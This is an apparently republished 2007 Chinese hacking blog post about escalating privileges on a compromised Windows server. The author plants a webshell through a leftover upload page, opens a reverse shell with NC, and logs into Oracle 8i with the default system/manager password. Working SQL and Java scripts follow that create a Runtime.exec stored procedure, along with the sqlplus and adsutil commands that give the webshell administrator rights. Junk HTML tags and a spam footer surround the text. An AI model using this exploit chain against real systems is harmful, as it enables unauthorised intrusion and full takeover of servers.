• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • 利用ORACLE的system帳戶默認口令提升權限

    發表于:2007-07-13來源:作者:點擊數: 標簽:
    近日,偶到一主機上逛了一圈 主機的配置 還算是安全 偏偏一個比較隱藏的目錄下 殘留一upfile.asp,結果輕輕松松的得到一webshell接著在主機上逛了逛,拿出superscan從外面掃了下 只開放了80端口 從user\程序目錄里 發現有一快捷方式firecontrol 好象是某款硬件

    近日,偶到一主機上逛了一圈 主機的配置 還算是安全 偏偏一個比較隱藏的目錄下 殘留一upfile.asp,結果輕輕松松的得到一webshell接著在主機上逛了逛,拿出superscan從外面掃了下 只開放了80端口 從user\程序目錄里 發現有一快捷方式firecontrol 好象是某款硬件防火墻的控制臺?EBSHELL下檢測了下 開放的服務 發現一般的可提權的方法 都不可行 無SERV-U等等 主機的補丁也是打到了最新.

    試了下,傳了個NC上去 反連接得到一SHELL 這下比在老兵的管理器里舒服多了在C盤下看到一目錄 oracle 看了下C:\oracle\ora81.network\ADMIN\tnsnames.ora文件 確定了主機的服務名xxx 看了下版本 oracle 8i 用數據庫連接器 Provider=MSDAORA.1;Password=manager;User ID=system;Data Source=xxxx 試了下默認的system帳戶 密碼manager結果真的就連接到了本地的oracle服務這下好了 oracle的system帳戶 就像是mssql下的sa 我們來通過他來提升權限

    馬上編輯了幾個腳本

    1.sql

    create or replace and compile

    java source named "Util"

    as

    import java.io.*;

    import java.lang.*;

    public class Util extends Object

    {

    public static int RunThis(String args)

    {

    Runtime rt = Runtime.getRuntime();

    int rc = -1;

    try

    {

    Process p = rt.exec(args);

    int bufSize = 4096;

    BufferedInputStream bis =

    new BufferedInputStream(p.getInputStream(), bufSize);

    int len;

    byte buffer[] = new byte[bufSize];

    // Echo back what the program spit out

    while ((len = bis.read(buffer, 0, bufSize)) != -1)

    System.out.write(buffer, 0, len);

    rc = p.waitFor();

    }

    catch (Exception e)

    {

    e.printStackTrace();

    rc = -1;

    }

    finally

    {

    return rc;

    }

    }

    }

    ---------------------------------------

    2.sql

    create or replace

    function RUN_CMD(p_cmd in varchar2) return number

    as

    language java

    name 'Util.RunThis(java.lang.String) return integer';

    -------------------------------------

    3.sql

    create or replace procedure RC(p_cmd in varchar2)

    as

    x number;

    begin

    x := run_cmd(p_cmd);

    end;

    ---------------------------------

    保存在c:\下

    然后用反連接得到的shell運行 sqlplus system/manager@xxx

    然后在 再來執行腳本

    SQL>@C:\1.sql

    SQL>@C:\2.sql

    SQL>@C:\3.sql

    看到JAVA 已創建 函數已創建 過程已創建

    接著我們繼續

    SQL> variable x number;

    SQL> set serveroutput on

    SQL> exec dbms_java.set_output(100000);

    SQL>grant javasyspriv to system

    看到授權成功

    接著我們就可以來執行系統命令了 我想 先把ASP.dll加入特權一組

    SQL>exec :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ');

    看到過程已經成功完成 這個時候我們重新登陸我們的webshell 他已經具有admin權限了

    接著 再用NC返回一個shell 已經是管理權限的了 我們可以做我們想干的事了 因為這個主機有防火墻 過濾了除80以外的端口 所以不好做圖形的后門 只有留下一有權限的webshell到此 已經提權成功咯.

    上次看到一篇文章里說 還有種 可以利用msvcrt.dll調用system()函數執行系統命令 結果找了很多資料 都沒找到 如果哪位高手有這方面的資料 希望你可以 發布出來 共享一下



      

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>